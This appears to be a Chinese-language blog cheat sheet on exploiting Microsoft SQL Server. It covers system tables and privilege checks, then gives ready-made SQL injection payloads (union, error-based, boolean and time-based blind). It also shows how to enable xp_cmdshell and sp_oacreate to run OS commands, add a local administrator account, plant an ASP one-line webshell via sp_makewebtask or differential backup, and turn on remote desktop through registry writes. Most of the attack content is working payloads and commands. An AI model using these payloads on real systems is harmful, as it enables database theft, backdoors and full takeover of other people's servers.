基础知识

  • 注释符

    • 单行注释 --
    • 多行注释 /* */
    • 语句结束标记符 ;
  • 连接数据库

    • windows身份认证
    • SQL Server身份认证
  • 系统数据库

image

  1. master:用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操 作。
  2. model:SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
  3. msdb:由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份 及恢复信息、警告及异常信息。
  4. tempdb:它为临时表和其他临时工作提供了一个存储区。

权限

服务器级固定权限

image

若想判断权限,可以使用以下语句。

  • and 1=(select is_srvrolemember('sysadmin'))
  • and 1=(select is_srvrolemember('serveradmin'))
  • and 1=(select is_srvrolemember('setupadmin'))
  • and 1=(select is_srvrolemember('securityadmin'))
  • and 1=(select is_srvrolemember('diskadmin'))
  • and 1=(select is_srvrolemember('bulkadmin'))

数据库级别角色权限

image

判断权限,可以使用
select IS_MEMBER('db_owner');

其他

  • 数据库版本
    select @@version
  • 当前用户名:
    select user;

select user_name();

  • 查询数据库名:
    select db_name();

select db_name(0); -- 可通过修改db_name()的参数值来遍历数据库

  • 判断是否为站库分离:
    1'and host_name()=@@servername--
  • 获取datebase()的名称
    db_name()
  • 获取当前用户名
    user,system_user,current_user,user_name

– 获取有关服务器主机的信息。
@@SERVERNAME

  • 关键系统表:

    • sysdatabases,保存在master数据库,所有的库名,以及库的ID,和一些相关信息。
    • sysobjects,保存在master数据库,数据库表名,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表。
    • syscolumns,列出一个表中所有的字段列表的系统表

基础语句

  • 查询数据库
    select name from master..sysdatabases
  • 查询数据库表

    • select * from test.dbo.sysobjects where xtype=“U“ (列出test中所有的表名.)
    • select table_name from information_schema.tables -- 查询 INFORMATION_SCHE [MA 视图]
    • select name from sysobjects where xtype = 'u' -- 查询 sysobjects 系统表
    • select name from sys.objects where type = 'u' -- 查询 sys.objects 目录视图 [SQL SERVER2005以上]
    • select name from sys.tables -- 查询sys.tables 目录视图 [SQL SERVER2005以上]
  • 查询数据库列

    • select * from test.dbo.syscolumns where id=字段id
    • select column_name from information_schema.columns -- 查询 INFORMATION_SCH EMA 视图
    • select name from syscolumns where id=(select max(id) from sysobjects wher e xtype='u' and name='表名') -- 查询 syscolumns 系统表
    • select name from syscolumns where id=object_id('表名') -- 查询 syscolumns 系统表
    • select name from sys.columns where object_id = (select max(id) from sysobjects where xtype='u' and name='emails') -- 查询sys.columns 目录视图

联合注入

一般一样使用order by 进行列数查询
1' order by 1 --

与MySQL不一样的是,联合查询不能直接输入数字,占位符需要使用null,例如:
?id=-1 union select db_name(2),null,null--

  • 查库

    • ?id=-1 union select db_name(),null,null-- db_name可以自行切换想查询的数据库,例如db_name(2)
    • select * from master..sysdatabases
    • id=5' and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0-- 可依次添加每次爆出的数据就可以报错所有数据库
  • 查表

    • select name,id from test.dbo.sysobjects where xtype='U' test为库名
    • id=-1 union all select table_name,null,null from information_schema.tables--
    • id = 1 and false union all select table_name,null,null from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc --
    • id = 1 and false union all select table_name,null,null from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc --
  • 查列

    • ?id=-1 union select column_name,null,null from information_schema.columns--
    • select COLUMN_NAME from test.information_schema.columns where TABLE_NAME='admin' 注:查询所有
    • select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='admin' 注:查询第一个数据
    • select name,id from test.dbo.syscolumns where id=字段id 注:这里的id为查表那里查出来的id
  • 查数据

    • ?id=-1 union select username,null,null from admin-- 还可以使用%2b,即+,来拼接回显
    • ?id=-1 union select username%2bpassword,null,null from admin--

报错注入

  • 报错原理:根据数据类型不同(显示或隐式转换)进行报错注入。
  • 显示转换:利用函数进行转换,常用函数castconvert
    例子:CAST( expression AS data_type )

       `CONVERT(data_type[(length)], expression [, style])`
select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))

image

  • 查库名
    select CAST(db_name() as int)
  • 查表名
    select CAST((select top 1 table_name from information_schema.columns) as int)

?id=1'and (select top 1 table_name from information_schema.columns where table_name !='admin')>0--

select top 1 table_name from information_schema.tables where (select top 3 cast(name as varchar(526)) from (select top 1 id,name from test.dbo.sysobjects where xtype=char(85) and status>=0 order by id)t order by id desc)=0--

select top 1 table_name from information_schema.tables where (select top 3 cast(name as varchar(526)) from (select top 1 id,name from test.dbo.sysobjects where xtype=char(85) and status>=0 and name!='admin' order by id)t order by id desc)=0-- 注:查询不同的表,需要在name!= 那里进行替换

  • 查列名
    ?id=1'and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=cast(0x61646D696E as varchar))>0--

(select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME=cast(0x61646D696E as varchar) and COLUMN_name != 'username')

  • 查数据
    ?id=1'and (select top 1 username from admin)>0--

布尔盲注

根据下面两个页面返回点差异判断数据库是否存在。

?id=1'and (select count(*) from master.dbo.sysdatabases where dbid=5)=1--

?id=1'and (select count(*) from master.dbo.sysdatabases where dbid=6)=1--

然后猜解数据库name的长度:
?id=1'and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=4)=1--

使用 substring() 来猜解数据库名:
?id=1'and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),1,1))=116--

然后猜解表名长度:

?id=1'and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and len(name)=5)=1--

猜解表名:

?id=1'and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))=97)=1

查第二个表:
`?id=1'and (select count(*) from test.dbo.sysobjects where name in (select
top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('ad min')) and ascii(substring(name,1,1))=105)=1--`

猜解列名:
?id=1'and exists(select top 1 name from test.dbo.syscolumns where id =(se lect id from test.dbo.sysobjects where name = 'users') and ascii(substrin g(name,1,1))=105)--

-- 查第二列,以此类推
?id=1'and exists(select top 1 name from test.dbo.syscolumns where id =(se lect id from test.dbo.sysobjects where name = 'users') and name != 'id' a nd ascii(substring(name,1,1))=117)--

查数据:

id=1' and ascii(substring((select top 1 username from users),1,1))=115

时间盲注

waitfor介绍: WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句,它的作用就是等待特 定时间,然后继续执行后 续的语句。它包含一个参数DELAY,用来指定等待的时间。

waitfor例子:
WAITFOR DELAY '0:0:4' 表示延迟4秒。

判断存在的数据库:
?id=1'if ((select count(*) from master.dbo.sysdatabases where dbid=5)=1) waitfor delay '0:0:3'--

xp_cmdshell

  • xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出
  • 判断是否开启了扩展
    select count(*) FROM master.dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'
  • 尝试是否可以执行系统命令
    exec master..xp_cmdshell 'net user'

exec master.dbo.xp_cmdshell 'net user'
若报错,则不能执行。
image

需执行下面语句,启用xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

image

最终成功执行命令:
image

如果xp_cmdshell被删除,则可以上传xplog70.dll来恢复:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

sp_oacreate

sp_oacreate为sql server中点COM组件。
利用前提:

Mssql数据库服务未降权
已获取到数据库密码

判断SP_OACREATE状态
我们可以在master.dbo.sysobjects中查看SP_OACREATE状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
存在返回1

启用sp_oacreate

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;

利用其进行命令(注:因为该函数没有回显,所有需要把它写进文件中去)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

wscript.shell(添加管理员)

  • exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
  • 添加用户

    • declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test2 test2 /add'
  • 添加到管理员组

    • declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test2 /add'

写webshell

sp_makewebtask (写文件)

  • exec sp_makewebtask 'C:\test1.asp',' select ''<%execute(request("a"))%>'' ';;--

差异备份getshell

  • 查询库名/创建数据库

    • SELECT DB_NAME();
    • create database test2;
  • 使用数据库

    • use test2;
  • 完整备份一次

    • backup database test2(库名) to disk = 'c:\shell.bak';--
  • 创建表并插入数据

    • create table [dbo].[test2] ([cmd] [image]);--
    • insert into test2(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

      • <%execute(request("a"))%>
  • 进行差异备份

    • backup database test2(库名) to disk='目标位置\shell.asp' WITH DIFFERENTIAL,FORMAT;--

远程桌面

  • 查看远程桌面

    • `exec xp_regread
      'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer',

'fDenyTSConnections'`

  • 读取远程桌面端口

    • `EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal
      ServerWinStationsRDP-Tcp','PortNumber'`
  • 开启远程桌面

    • `exec xp_regwrite
      'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer',

'fDenyTSConnections',
'REG_DWord',0`

  • 关闭远程桌面

    • EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

参考文章:
https://xz.aliyun.com/t/7534#toc-26
https://www.cnblogs.com/jerrylocker/p/10938899.html

最后修改:2020 年 11 月 22 日 12 : 02 AM
如果觉得我的文章对你有用,请随意赞赏